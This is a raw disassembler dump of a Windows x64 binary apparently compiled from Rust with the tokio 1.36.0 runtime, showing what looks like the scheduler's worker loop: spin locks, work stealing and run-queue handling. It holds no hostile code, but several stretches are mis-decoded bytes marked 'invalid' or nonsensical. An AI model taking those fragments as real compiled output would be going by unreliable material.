movapd xmmword [rsp + 0x160], xmm7
movapd xmmword [rsp + 0x150], xmm6
mov rbx, rcx
mov rax, qword [rcx]
jmp 0x1400f0e3a
invalid
and cl, byte [rdi]
invalid
ret 0xeac0
and dl, 1
lock cmpxchg qword [rbx], rcx
je 0x1400f0e65
test al, 4
je 0x1400f2b51
test al, 3
je 0x1400f0e20
cmp dword [rbx + 0x28], 2
jne 0x1400f2c37
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f0ee0
test eax, eax
jne 0x1400f1036
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm8, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], al
adc byte [rax + 0xf0], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x30], 0
test rax, rax
je 0x1400f2c6f
invalid
add byte [rax], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], 0
jmp 0x1400f104f
add byte [rdi], cl
sub byte [rsp + 0x160], bh
add byte [rax], al
add byte [rax], al
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x1c0], ch
sub byte [rsp + 0x1c0], ch
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub byte [rsp + 0x170], al
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
fadd dword [rcx]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f30b0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x98], rax
mov r15, qword [rax + 0x10]
mov rax, qword [r15 + 0x80]
lea rcx, [rax + 1]
mov edx, dword [rsi + 0x10]
mov r8d, dword [rsi + 0x14]
mov r9d, edx
shl r9d, 0x11
xor r9d, edx
mov edx, r8d
shr edx, 0x10
xor edx, r8d
xor edx, r9d
shr r9d, 7
xor r9d, edx
mov dword [rsi + 0x10], r8d
mov dword [rsi + 0x14], r9d
add r9d, r8d
mov r12d, ecx
imul r12, r9
shr r12, 0x20
mov byte [r15 + 0x90], 1
lea r13, [r12 + rax]
inc r13
cmp r13, r12
jbe 0x1400f14c1
xor ebp, ebp
mov r14b, 1
jmp 0x1400f13f7
mov rdi, rcx
mov rcx, rbx
call fcn.140107330
mov rcx, rdi
test rcx, rcx
je 0x1400f149c
nop dword [rax + rax]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x30]
mov rcx, qword [r15 + 0x68]
mov rax, qword [r15 + 0x80]
and rax, r12
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r14b
jne 0x1400f14aa
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400f1486
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov rdx, qword [rcx + rax]
mov qword [rbx + 0x10], rdx
test rdx, rdx
je 0x1400f1460
mov rax, qword [rdx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rdx + rax + 8], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x1400f1468
mov qword [rbx + 8], 0
mov qword [rcx + rax], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
lock dec qword [r15 + 0x78]
mov al, 1
lock cmpxchg byte [rbx], bpl
jne 0x1400f13d4
test rcx, rcx
jne 0x1400f13f0
inc r12
cmp r12, r13
jne 0x1400f13f7
jmp 0x1400f14c1
mov rcx, rbx
call fcn.1401076d0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
jne 0x1400f1424
jmp 0x1400f1486
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rax + 0xa0]
cmp rcx, rdx
jae 0x1400f2b39
mov rax, qword [rsp + 0x48]
mov rbx, qword [rax + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f2aca
mov rax, qword [rbx + 0x110]
cmp rax, qword [rbx + 0x100]
jne 0x1400f151f
lea rcx, [rbx + 0x100]
call fcn.1400cf300
mov rax, qword [rbx + 0x110]
mov rcx, qword [rbx + 0x108]
mov qword [rcx + rax*8], rsi
inc rax
mov qword [rbx + 0x110], rax
cmp rax, qword [rbx + 0x60]
jne 0x1400f1841
mov qword [rbx + 0x110], 0
test rax, rax
je 0x1400f172e
mov r13, qword [rbx + 0x108]
lea rbp, [rax*8]
add rbp, r13
lea rsi, [rbx + 0x118]
movabs r14, 0xffffffff00000000
jmp 0x1400f1591
mov rcx, r15
call fcn.1400e49c0
cmp r13, rbp
je 0x1400f172e
mov r15, qword [r13]
mov rax, qword [r15 + 8]
mov qword [r15 + 8], 0
test rax, rax
je 0x1400f2c1d
add r13, 8
mov qword [rsp + 0x88], rax
nop word cs:[rax + rax]
mov rcx, qword [r15]
mov rdx, qword [r15 + 0x18]
mov qword [r15], 0
test rcx, rcx
jne 0x1400f166e
mov rax, qword [rdx + 0x18]
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x3c], r8d
mov ecx, dword [rdx + 0x20]
cmp ecx, eax
je 0x1400f16a0
mov rcx, rax
jmp 0x1400f1630
mov eax, r9d
mov r8, rax
shl r8, 0x20
or r8, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r8
je 0x1400f165e
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x3c], r8d
mov r9d, dword [rdx + 0x20]
mov rcx, rax
cmp r9d, eax
je 0x1400f16a0
lea r9d, [rax + 1]
mov dword [rsp + 0x38], r9d
cmp r8d, eax
je 0x1400f1600
cmp r9d, r8d
je 0x1400f2b81
mov eax, r9d
mov r8, rcx
and r8, r14
or r8, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r8
jne 0x1400f1618
movzx eax, cl
mov rcx, qword [rdx + 0x10]
mov rcx, qword [rcx + rax*8]
test rcx, rcx
je 0x1400f16a0
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f2bab
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f15c0
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400f15c0
mov r12, qword [rsp + 0x88]
mov rdi, qword [r12 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x50], cl
jne 0x1400f1700
lea rcx, [rdi + 0x10]
mov rdx, rsi
call fcn.1400eb6b0
xor eax, eax
xchg byte [rdi + 0x50], al
mov rdx, qword [r12 + 0x20]
test rdx, rdx
je 0x1400f170a
add r12, 0x20
mov rcx, r12
call fcn.140106eb0
mov rax, qword [rsp + 0x88]
lock dec qword [rax]
jne 0x1400f1580
jmp 0x1400f171c
mov rdx, qword [r12 + 0x20]
test rdx, rdx
jne 0x1400f16d3
mov rax, qword [rsp + 0x88]
lock dec qword [rax]
jne 0x1400f1580
lea rcx, [rsp + 0x88]
call fcn.140004bc0
jmp 0x1400f1580
mov rax, qword [rbx + 0xa8]
test rax, rax
je 0x1400f1841
xor r14d, r14d
mov bpl, 1
lea rdi, [rbx + 0xc0]
jmp 0x1400f1760
mov rax, qword [rbx + 0xa8]
test rax, rax
je 0x1400f1841
xor eax, eax
lock cmpxchg byte [rbx + 0xc0], bpl
jne 0x1400f1834
mov rax, qword [rbx + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rbx + 0xa8], rdx
test rax, rax
je 0x1400f17f0
mov rcx, qword [rbx + 0xe0]
test rcx, rcx
je 0x1400f17f0
mov rax, qword [rcx + 8]
mov qword [rbx + 0xe0], rax
test rax, rax
jne 0x1400f17b9
mov qword [rbx + 0xe8], 0
mov qword [rcx + 8], 0
mov al, 1
lock cmpxchg byte [rbx + 0xc0], r14b
je 0x1400f17ff
mov r15, rcx
mov rcx, rdi
call fcn.140107330
mov rcx, r15
test rcx, rcx
jne 0x1400f1804
jmp 0x1400f1841
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx + 0xc0], r14b
jne 0x1400f17ce
test rcx, rcx
je 0x1400f1841
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f2bab
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f1750
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400f1750
mov rcx, rdi
call fcn.1401076d0
jmp 0x1400f1771
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f2aef
cmp qword [rsp + 0x60], 0
jne 0x1400f18a7
lea rdi, [rsp + 0xf0]
lea rbx, [rsp + 0x100]
nop dword [rax + rax]
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x1400f18b3
dec rax
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x70]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rsp + 0x60]
je 0x1400f1870
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.1401048f0
mov qword [rsp + 0x60], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 0x108], rax
lea rcx, [rsp + 0x40]
call fcn.1400ec300
movsd xmm6, qword [rsp + 0x110]
movzx eax, byte [rsi + 0x120]
cmp eax, 1
je 0x1400f1932
test eax, eax
jne 0x1400f2da6
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400f2d07
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400f197a
call fcn.1400e4500
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
movlpd qword [rax + 0x114], xmm6
lea rcx, [rsp + 0xf8]
call fcn.1400e6cd0
mov rax, qword [rsp + 0xf8]
cmp rax, 2
je 0x1400f2976
test rax, rax
je 0x1400f2960
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400f2976
mov rcx, rbx
call fcn.1400e47d0
jmp 0x1400f2976
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.1400eb980
mov rsi, rax
call fcn.1400dfe70
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
nop word [rax + rax]
cmp byte [rsi + 0x4a], 0
jne 0x1400f135f
mov eax, dword [rsi + 0x40]
inc eax
mov dword [rsi + 0x40], eax
mov r15, qword [rsp + 0x48]
mov rcx, qword [r15 + 0x10]
mov ecx, dword [rcx + 0x40]
test ecx, ecx
je 0x1400f2b15
xor edx, edx
div ecx
test edx, edx
jne 0x1400f1bd9
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x1400f1b51
call fcn.1400dfe70
mov r9, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x38]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0xa8]
mov rdx, r9
call fcn.1400d67b0
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
lea rcx, [rsp + 0x140]
call fcn.140102450
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm9
subpd xmm0, xmm10
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm11
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm11
subsd xmm0, xmm1
mulsd xmm0, qword [rsi + 0x28]
addsd xmm0, xmm7
movsd qword [rsi + 0x28], xmm0
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.1400eb980
mov rsi, rax
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r13 + 0xa0]
cmp rdx, rcx
jbe 0x1400f2b2d
cmp byte [rsi + 0x4a], 0
jne 0x1400f1bb6
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f25af
movzx eax, byte [r13 + 0xf0]
mov byte [rsi + 0x4a], al
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f25c0
cmp byte [rsi + 0x4b], 0
jne 0x1400f1bc0
mov byte [rsi + 0x4b], 0
call fcn.1400dfe70
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
mov r15, qword [rsp + 0x48]
mov ecx, dword [rsi + 0x44]
test ecx, ecx
je 0x1400f2b21
mov eax, dword [rsi + 0x40]
xor edx, edx
div ecx
test edx, edx
je 0x1400f1c80
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x18]
mov qword [rsi], 0
test rdx, rdx
jne 0x1400f2090
mov rax, qword [r8 + 0x18]
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov ecx, dword [r8 + 0x20]
cmp ecx, eax
jne 0x1400f1e4a
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
test rax, rax
je 0x1400f20ac
mov rax, qword [rsi + 0x18]
mov r8, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
mov r13, qword [r15 + 0x10]
mov r9, qword [r13 + 0x60]
test r9, r9
je 0x1400f2b45
mov rdx, rax
or rdx, r9
shr rdx, 0x20
je 0x1400f1ed6
xor edx, edx
div r9
mov rbp, rax
jmp 0x1400f1edd
mov r13, qword [r15 + 0x10]
cmp dword [r13 + 0x10], 0
je 0x1400f1c91
mov eax, dword [r13 + 0x14]
jmp 0x1400f1cc7
movapd xmm0, xmm12
divsd xmm0, qword [rsi + 0x28]
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movapd xmm0, xmm13
minsd xmm0, xmm1
cvttsd2si rax, xmm0
cmp eax, 0x7f
mov edx, 0x7f
cmovae eax, edx
cmp eax, 3
mov edx, 2
cmovb eax, edx
mov edx, eax
sub edx, ecx
neg edx
mov r8d, eax
sub r8d, ecx
cmovb r8d, edx
cmp r8d, 3
jb 0x1400f1ce0
mov dword [rsi + 0x44], eax
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x1400f1d9c
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f259e
mov rax, qword [r13 + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r13 + 0xa8], rdx
test rax, rax
je 0x1400f1d82
mov rdx, qword [r13 + 0xe0]
test rdx, rdx
je 0x1400f1d82
mov rax, qword [rdx + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f1d4b
mov qword [r13 + 0xe8], 0
mov qword [rdx + 8], 0
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
je 0x1400f1d93
add r13, 0xc0
mov rcx, r13
mov rdi, rdx
call fcn.140107330
mov rdx, rdi
test rdx, rdx
jne 0x1400f2090
jmp 0x1400f1d9c
xor edx, edx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1d62
test rdx, rdx
jne 0x1400f2090
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x18]
mov qword [rsi], 0
test rdx, rdx
jne 0x1400f2090
mov rax, qword [r8 + 0x18]
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov ecx, dword [r8 + 0x20]
cmp ecx, eax
je 0x1400f20ac
mov rcx, rax
nop word cs:[rax + rax]
lea r9d, [rax + 1]
mov dword [rsp + 0x88], r9d
cmp edx, eax
jne 0x1400f1e00
mov eax, r9d
mov rdx, rax
shl rdx, 0x20
jmp 0x1400f1e1c
cmp r9d, edx
je 0x1400f2bf0
mov eax, r9d
mov rdx, rcx
movabs r9, 0xffffffff00000000
and rdx, r9
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
je 0x1400f2534
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov r9d, dword [r8 + 0x20]
mov rcx, rax
cmp r9d, eax
jne 0x1400f1de0
jmp 0x1400f20ac
mov rcx, rax
jmp 0x1400f1e83
mov eax, r9d
mov rdx, rax
shl rdx, 0x20
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
je 0x1400f1ebd
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov r9d, dword [r8 + 0x20]
mov rcx, rax
cmp r9d, eax
je 0x1400f1c25
lea r9d, [rax + 1]
mov dword [rsp + 0x88], r9d
cmp edx, eax
je 0x1400f1e50
cmp r9d, edx
je 0x1400f2bf0
mov eax, r9d
mov rdx, rcx
movabs r9, 0xffffffff00000000
and rdx, r9
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
jne 0x1400f1e68
movzx eax, cl
mov rcx, qword [r8 + 0x10]
mov rdx, qword [rcx + rax*8]
test rdx, rdx
jne 0x1400f2090
jmp 0x1400f1c25
xor edx, edx
div r9d
mov ebp, eax
shr r8, 0x20
sub ecx, r8d
mov eax, 0x100
sub rax, rcx
inc rbp
cmp rax, rbp
cmovb rbp, rax
cmp rbp, 0x80
mov eax, 0x80
cmovae rbp, rax
cmp rbp, 1
adc rbp, 0
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f25de
mov rax, qword [r15 + 0x10]
mov rcx, qword [rax + 0xa8]
cmp rbp, rcx
cmovae rbp, rcx
mov rdx, rcx
sub rdx, rbp
mov qword [rax + 0xa8], rdx
test rcx, rcx
je 0x1400f206a
mov rdx, qword [r13 + 0xe0]
test rdx, rdx
je 0x1400f1f78
mov rax, qword [rdx + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f1f70
mov qword [r13 + 0xe8], 0
mov qword [rdx + 8], 0
dec rbp
je 0x1400f206c
mov r15, qword [rsi + 0x18]
mov rax, qword [r15 + 0x18]
shr rax, 0x20
mov ebx, dword [r15 + 0x20]
mov ecx, ebx
sub ecx, eax
mov eax, 0x100
sub eax, ebp
cmp ecx, eax
ja 0x1400f2dcf
mov rax, qword [r13 + 0xe0]
jmp 0x1400f1fd7
mov qword [rax + 8], 0
lea r8d, [rbx + 1]
movzx r9d, bl
mov r10, qword [r15 + 0x10]
mov qword [r10 + r9*8], rax
mov ebx, r8d
mov rax, rcx
dec rbp
je 0x1400f2064
test rax, rax
je 0x1400f2050
mov rcx, qword [rax + 8]
mov qword [r13 + 0xe0], rcx
test rcx, rcx
jne 0x1400f1fb0
mov qword [r13 + 0xe8], 0
jmp 0x1400f1fb0
mov rax, qword [rcx + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f201b
mov qword [r13 + 0xe8], 0
mov qword [rcx + 8], 0
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f2bab
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f2050
mov rax, qword [rcx + 0x10]
mov rdi, rdx
call qword [rax + 0x10]
mov rdx, rdi
dec rbp
je 0x1400f2061
mov rcx, qword [r13 + 0xe0]
test rcx, rcx
jne 0x1400f2000
mov r8d, ebx
mov dword [r15 + 0x20], r8d
jmp 0x1400f206c
xor edx, edx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f25ef
test rdx, rdx
je 0x1400f20ac
nop word cs:[rax + rax]
mov rcx, r12
mov r8, rsi
call fcn.1400ebe80
mov rsi, rax
test rax, rax
jne 0x1400f1a50
jmp 0x1400f1853
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x1400f217b
call fcn.1400dfe70
mov r9, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x38]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0xa8]
mov rdx, r9
call fcn.1400d67b0
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rdx
lea rcx, [rsp + 0x130]
call fcn.140102450
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm9
subpd xmm0, xmm10
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm11
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm11
subsd xmm0, xmm1
mulsd xmm0, qword [rsi + 0x28]
addsd xmm0, xmm7
movsd qword [rsi + 0x28], xmm0
mov r8, qword [rsp + 0x48]
cmp byte [rsi + 0x49], 0
jne 0x1400f21af
mov rax, qword [r8 + 0x10]
mov rcx, qword [rax + 0xb0]
movzx ecx, cx
add ecx, ecx
cmp rcx, qword [rax + 0xb8]
jae 0x1400f24a5
lock inc qword [rax + 0xb0]
mov byte [rsi + 0x49], 1
mov r13, qword [r8 + 0x10]
mov r9, qword [r13 + 0x60]
mov edx, dword [rsi + 0x10]
mov ecx, dword [rsi + 0x14]
mov eax, edx
shl eax, 0x11
xor eax, edx
mov edx, ecx
shr edx, 0x10
xor edx, ecx
xor edx, eax
shr eax, 7
xor eax, edx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x14], eax
test r9, r9
je 0x1400f23f7
add eax, ecx
mov r10d, r9d
imul r10, rax
shr r10, 0x20
xor r11d, r11d
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x120], r10
jmp 0x1400f222c
mov eax, dword [rsp + 0x3c]
test eax, eax
mov r8, qword [rsp + 0x118]
jne 0x1400f2637
nop
inc r11
cmp r11, r9
je 0x1400f23f3
lea rax, [r11 + r10]
mov rcx, rax
or rcx, r9
shr rcx, 0x20
je 0x1400f2250
xor edx, edx
div r9
cmp rdx, qword [r8 + 0x18]
je 0x1400f2220
jmp 0x1400f225b
xor edx, edx
div r9d
cmp rdx, qword [r8 + 0x18]
je 0x1400f2220
mov rcx, qword [r8 + 0x10]
mov rax, qword [rcx + 0x60]
cmp rdx, rax
jae 0x1400f2b03
mov rax, qword [rcx + 0x58]
mov r13, qword [rsi + 0x18]
mov r15d, dword [r13 + 0x20]
mov rcx, qword [r13 + 0x18]
shr rcx, 0x20
mov edi, r15d
sub edi, ecx
cmp edi, 0x80
ja 0x1400f2220
shl rdx, 4
mov rdx, qword [rax + rdx]
mov rax, qword [rdx + 0x18]
nop dword [rax]
mov rbp, rax
shr rbp, 0x20
mov r14d, dword [rdx + 0x20]
cmp ebp, eax
jne 0x1400f2220
sub r14d, ebp
mov ecx, r14d
shr ecx, 1
sub r14d, ecx
je 0x1400f2220
lea ebx, [r14 + rbp]
mov rcx, rbp
shl rcx, 0x20
or rcx, rbx
lock cmpxchg qword [rdx + 0x18], rcx
jne 0x1400f22a0
mov qword [rsp + 0x98], r15
mov dword [rsp + 0x3c], r14d
cmp r14d, 0x80
ja 0x1400f2d2b
xor eax, eax
cmp r14d, 2
mov r8d, 1
cmovb r14d, r8d
jb 0x1400f2366
mov r12d, r14d
and r12d, 0xfe
xor eax, eax
mov edi, ebp
mov r15, qword [rsp + 0x98]
nop dword [rax]
movzx esi, r15b
mov r10, qword [rdx + 0x10]
movzx r8d, dil
mov r8, qword [r10 + r8*8]
mov r10, qword [r13 + 0x10]
mov qword [r10 + rsi*8], r8
add eax, 2
lea r8d, [r15 + 1]
movzx r8d, r8b
mov r10, qword [rdx + 0x10]
lea esi, [rdi + 1]
movzx esi, sil
mov r10, qword [r10 + rsi*8]
mov rsi, qword [r13 + 0x10]
mov qword [rsi + r8*8], r10
add r15d, 2
add edi, 2
cmp r12d, eax
jne 0x1400f2320
test r14b, 1
mov r15, qword [rsp + 0x98]
je 0x1400f2392
lea edi, [rax + r15]
movzx edi, dil
mov r14, qword [rdx + 0x10]
add ebp, eax
movzx eax, bpl
mov rax, qword [r14 + rax*8]
mov r14, qword [r13 + 0x10]
mov qword [r14 + rdi*8], rax
mov rdi, rbx
shl rdi, 0x20
or rdi, rbx
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], rdi
mov rsi, qword [rsp + 0x128]
lea r12, [rsp + 0x48]
mov r10, qword [rsp + 0x120]
je 0x1400f220b
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x88], eax
cmp ecx, eax
je 0x1400f2bc3
mov ecx, eax
mov r8, rax
shl r8, 0x20
or r8, rcx
lock cmpxchg qword [rdx + 0x18], r8
jne 0x1400f23c0
jmp 0x1400f220b
mov r13, qword [r8 + 0x10]
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x1400f24a9
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f2609
mov rax, qword [r13 + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r13 + 0xa8], rdx
test rax, rax
je 0x1400f246c
mov rbp, qword [r13 + 0xe0]
test rbp, rbp
je 0x1400f246c
mov rax, qword [rbp + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f2462
mov qword [r13 + 0xe8], 0
mov qword [rbp + 8], 0
jmp 0x1400f246e
xor ebp, ebp
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f261a
test rbp, rbp
je 0x1400f24a9
call fcn.1400dfe70
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
mov rcx, r12
mov rdx, rbp
jmp 0x1400f2093
mov byte [rsi + 0x49], 0
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x60], rax
jae 0x1400f2d1f
cmp qword [rsp + 0x78], 0
jne 0x1400f1a22
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rbx + 0x10]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400f24fa
mov rdx, qword [rcx + 0x28]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov rbx, qword [rsp + 0x48]
cmp qword [rsi], 0
je 0x1400f2544
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x1400f1a33
mov rdx, qword [rcx + 0x38]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
jmp 0x1400f1a33
movzx eax, cl
mov rcx, qword [r8 + 0x10]
mov rdx, qword [rcx + rax*8]
jmp 0x1400f207f
mov rax, qword [rsi + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
cmp eax, ecx
jne 0x1400f2500
cmp byte [rsi + 0x4b], 0
jne 0x1400f2500
mov r13, qword [rbx + 0x10]
mov r14, qword [rbx + 0x18]
movzx edi, byte [rsi + 0x49]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f265a
test dil, dil
je 0x1400f266f
mov rax, 0xfffffffffffeffff
lock xadd qword [r13 + 0xb0], rax
cmp ax, 1
sete dil
jmp 0x1400f267d
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f1d03
lea rcx, [r13 + 0xc0]
